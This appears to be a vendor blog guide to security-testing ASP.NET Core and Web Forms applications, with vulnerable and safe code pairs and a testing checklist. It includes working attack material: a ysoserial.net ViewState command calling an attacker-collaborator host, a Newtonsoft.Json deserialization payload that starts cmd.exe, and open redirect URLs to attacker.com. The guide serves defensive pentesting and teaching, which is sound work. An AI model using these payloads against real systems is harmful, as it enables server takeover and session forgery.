ASP.NET Core Security Testing: .NET-Specific Vulnerabilities and Misconfigurations
.NET has been a dominant enterprise web platform for over two decades. The shift from ASP.NET Web Forms and MVC on the full .NET Framework to ASP.NET Core has modernized the platform considerably — cross-platform support, built-in dependency injection, improved middleware pipeline, and better defaults for security headers. But the migration path, the legacy of older .NET Framework applications, and the complexity of Azure AD / OIDC integration have created a distinct .NET vulnerability landscape that differs meaningfully from PHP or Java.
This guide covers what professional pentesters look for in .NET applications: from classic ViewState deserialization to modern ASP.NET Core misconfigurations, Azure Active Directory authentication bypasses, EF Core injection patterns, and NuGet dependency risk. Whether you're testing a legacy Web Forms application or a modern minimal API, the patterns here apply.
ViewState Deserialization: The .NET Framework Classic
ViewState is a mechanism used by ASP.NET Web Forms to persist page state between requests. It's stored as a base64-encoded, optionally encrypted blob passed in a hidden form field. If the application uses a weak or exposed machineKey — or if MAC validation is disabled — ViewState becomes a deserialization vector.
# ViewState in a Web Forms page:
# <input type="hidden" name="__VIEWSTATE" value="dDwxNzU5OT..." />
# Check if MAC validation is disabled (vulnerable by default in old configs)
# In web.config:
# <pages enableViewStateMac="false" /> -- disables HMAC validation
# <pages viewStateEncryptionMode="Never" /> -- disables encryption
# If machineKey is known or guessable:
# Generate a payload with ysoserial.net
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "nslookup attacker-collaborator.com" \
--validationalg="SHA1" --validationkey="DEADBEEF..."
The critical question is whether you can obtain the machineKey. Common sources:
- Exposed
web.configvia path traversal or misconfigured static file serving - Backup files:
web.config.bak,web.config.old,web.config~ - Azure App Service Management API exposure (
https://management.azure.com/misconfiguration) - Shared hosting environments where all tenants share the same machineKey
- Default machineKey values from vulnerable IIS/ASP.NET installations
With a known machineKey, use ysoserial.net to generate a malicious ViewState payload that executes commands on the server when the page processes the form submission.
ASP.NET Core Data Protection Key Exposure
ASP.NET Core replaced ViewState with a Data Protection API used for cookie encryption, antiforgery tokens, and TempData. If the data protection keys are exposed, cookie forgery and session hijacking become possible:
# Default key storage locations to check:
# %LOCALAPPDATA%\ASP.NET\DataProtection-Keys\ (Windows)
# ~/.aspnet/DataProtection-Keys/ (Linux/macOS)
# Azure Blob Storage (if configured with Azure Key Ring)
# Redis (if configured as key ring)
# Check for exposed key ring files
curl https://target.com/.well-known/keys.xml
curl https://target.com/DataProtection-Keys/key-*.xml
# Test if keys are stored in source control
# .gitignore should exclude *.xml files from key directories
If the key ring is accessible, an attacker can forge authentication cookies for any user, including administrators. Test by attempting to access the key storage locations from the web root and verifying that key material is not committed to version control.
EF Core and LINQ Injection
Entity Framework Core's LINQ interface is safe by default — queries are parameterized automatically. However, several patterns introduce injection risk:
// VULNERABLE — FromSqlRaw with string interpolation
var users = context.Users
.FromSqlRaw($"SELECT * FROM Users WHERE Username = '{username}'")
.ToList();
// SAFE — parameterized FromSqlRaw
var users = context.Users
.FromSqlRaw("SELECT * FROM Users WHERE Username = {0}", username)
.ToList();
// VULNERABLE — EF Core raw SQL for updates
context.Database.ExecuteSqlRaw(
$"UPDATE Users SET Role = 'admin' WHERE Id = {id}");
// Also vulnerable — dynamic LINQ via System.Linq.Dynamic
// If user controls the where-clause string:
var result = queryable.Where($"Name == \"{username}\""); // SSTI-like in LINQ
Dynamic LINQ libraries (like System.Linq.Dynamic.Core) are particularly risky: they evaluate string expressions that can contain method calls, enabling code execution if user input reaches the expression string. Test by injecting arithmetic (1+1), method calls, or type member access into search and filter parameters.
OIDC and Azure Active Directory Misconfigurations
Many enterprise ASP.NET Core applications authenticate via Azure AD or another OIDC provider. Misconfiguration here is high-impact:
Missing Audience Validation
// VULNERABLE — ValidAudience not set
services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
.AddJwtBearer(options => {
options.Authority = "https://login.microsoftonline.com/tenant-id";
// Missing: options.Audience = "app-client-id";
options.TokenValidationParameters = new TokenValidationParameters {
ValidateAudience = false // Accepts tokens issued for ANY application
};
});
When audience validation is disabled, a token obtained for any other application in the same tenant can be used to authenticate. Test by obtaining a token for a different application (including one you control) in the same Azure AD tenant and presenting it as a bearer token.
Multi-Tenant Application Without Issuer Validation
// VULNERABLE — multi-tenant without validating issuer
services.AddAuthentication()
.AddMicrosoftIdentityWebApi(options => {
options.Instance = "https://login.microsoftonline.com/";
options.TenantId = "common"; // Accepts tokens from ALL tenants
// No issuer validation = any Azure AD tenant can authenticate
});
An application configured for multi-tenant use without issuer validation accepts authentication from any Azure AD tenant. An attacker who controls any Azure AD tenant can register an application with the same client ID concept and authenticate to your application. Verify ValidIssuers is set when using /common or /organizations endpoints.
Authorization Policy Gaps
// VULNERABLE — endpoint with broken authorization
[HttpGet("/api/admin/users")]
[Authorize] // Only checks authentication, not role
public IActionResult GetAllUsers()
{
// Any authenticated user can access this
return Ok(_userService.GetAll());
}
// SAFE — requires specific role claim
[HttpGet("/api/admin/users")]
[Authorize(Roles = "GlobalAdmin")]
public IActionResult GetAllUsers() { ... }
Test authorization by authenticating as a low-privilege user and accessing admin endpoints. The [Authorize] attribute only verifies authentication — not authorization level. Look for any endpoint that uses [Authorize] without a policy or role requirement.
Antiforgery Token Bypass in ASP.NET Core
ASP.NET Core's antiforgery system (CSRF protection) is robust but can be misconfigured:
// VULNERABLE — disabled antiforgery validation globally
services.AddControllersWithViews(options =>
{
// This removes CSRF protection from ALL MVC actions
options.Filters.Clear();
});
// VULNERABLE — IgnoreAntiforgeryToken attribute
[HttpPost]
[IgnoreAntiforgeryToken] // Disables CSRF protection on this action
public IActionResult UpdateProfile(ProfileModel model) { ... }
// VULNERABLE — CORS allows credentials with wildcard origin
services.AddCors(options =>
{
options.AddPolicy("Open", builder =>
builder.AllowAnyOrigin().AllowCredentials()); // Invalid combo, but check manually
});
Enumerate API endpoints that accept cookie-based authentication and test whether state-changing operations require an antiforgery token. Minimal API endpoints in .NET 6+ don't have antiforgery by default — they rely on CORS or explicit token validation.
Open Redirect via returnUrl Parameter
ASP.NET Core's built-in authentication middleware uses a ReturnUrl parameter during login redirects. Insufficient validation enables open redirect:
// Vulnerable URL pattern
https://target.com/Account/Login?ReturnUrl=https://attacker.com/
// Test for open redirect
https://target.com/Account/Login?ReturnUrl=%2F%2Fattacker.com
https://target.com/Account/Login?ReturnUrl=https%3A%2F%2Fattacker.com
// Check the redirect validation code
// VULNERABLE — no origin validation
return Redirect(returnUrl);
// SAFE — LocalRedirect rejects absolute URLs
return LocalRedirect(returnUrl);
Verify that all redirect parameters use LocalRedirect() or equivalent origin validation. The Url.IsLocalUrl() helper validates local URLs. Absolute URLs or protocol-relative URLs should be rejected.
Razor Pages and View Component XSS
Razor automatically HTML-encodes output in @Model.PropertyName expressions. The vulnerability appears with raw output:
@* SAFE — automatically encoded *@
<p>@Model.UserComment</p>
@* VULNERABLE — raw HTML output *@
<p>@Html.Raw(Model.UserComment)</p>
@* VULNERABLE — raw output in JavaScript context *@
<script>
var username = "@Model.Username"; // Not encoded for JS context
</script>
@* SAFE — JSON-encoded for JS context *@
<script>
var username = @Json.Serialize(Model.Username);
</script>
Razor's encoding is HTML-encoding — it's insufficient when injecting into JavaScript, URL, or CSS contexts. Test for DOM XSS in data rendered into script blocks even when Razor encoding is used. Also test View Components that render user-provided HTML content.
NuGet Dependency Scanning
ASP.NET Core applications use NuGet packages managed through .csproj files and packages.lock.json. Scanning for vulnerabilities in the dependency chain:
# Built-in dotnet audit (available since .NET 8)
dotnet list package --vulnerable --include-transitive
# OWASP Dependency-Check for .NET
dependency-check.sh --project "MyApp" --scan /path/to/solution --format HTML
# Snyk CLI
snyk test --file=MyApp.csproj
# Check packages.lock.json if committed
cat packages.lock.json | jq '.dependencies | to_entries[] | .value | to_entries[] | .value.resolved'
High-risk NuGet packages historically include: Newtonsoft.Json (deserialization features), Microsoft.AspNetCore.Authentication.* packages, AutoMapper (mass assignment risks), IdentityServer (OIDC provider — several critical CVEs in 2022-2024), and XML processing libraries (System.Xml, LINQ-to-XML).
JSON Deserialization with Newtonsoft.Json
Newtonsoft.Json's TypeNameHandling feature enables polymorphic deserialization — and full-chain RCE — when combined with user-controlled type names:
// VULNERABLE — TypeNameHandling.All or .Objects with user input
var settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All // Enables $type property
};
var obj = JsonConvert.DeserializeObject(userInput, settings);
// Exploit payload
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
This is the .NET equivalent of Java deserialization gadget chains. If you find TypeNameHandling set to anything other than None, test with ysoserial.net gadget chains. System.Text.Json (the .NET Core default) does not support polymorphic deserialization by default and is not vulnerable to this class of attack.
ASP.NET Core Security Testing Checklist
- Check for exposed
web.config,appsettings.json, and backup config files - Test all sort/filter/search parameters for EF Core raw SQL injection
- Verify audience and issuer validation in OIDC/JWT configuration — test with cross-tenant tokens
- Test all state-changing endpoints for CSRF — including minimal API endpoints
- Check all
ReturnUrland redirect parameters for open redirect (test absolute and protocol-relative URLs) - Inspect Razor views for
@Html.Raw()usage — test for XSS via HTML-context and JS-context injection - Test authorization — verify
[Authorize]policies include role/claim requirements, not just authentication - Run
dotnet list package --vulnerable --include-transitiveagainst the project - Check for
TypeNameHandlingin Newtonsoft.Json usage — test with ysoserial.net payloads - Verify Data Protection key ring is not accessible from the web root or committed to source control
- Check CORS policy —
AllowAnyOrigin()withAllowCredentials()is invalid but verify manually - Test dynamic LINQ expressions with arithmetic and method-call payloads
- For Web Forms: check
enableViewStateMacsetting and attempt ViewState forgery if machineKey is discoverable - Verify HTTPS enforcement — check for HTTP responses, HSTS header presence, and
UseHttpsRedirection()middleware - Test session management — verify cookies have Secure, HttpOnly, and SameSite attributes
Ironimo's scanner tests ASP.NET Core applications using the same dynamic testing methodology professional pentesters apply — injection probing across all parameters, authentication bypass testing on OIDC-protected endpoints, CSRF verification, and redirect validation.
Pair dynamic scanning with dotnet list package --vulnerable in your CI pipeline for full-spectrum .NET security coverage.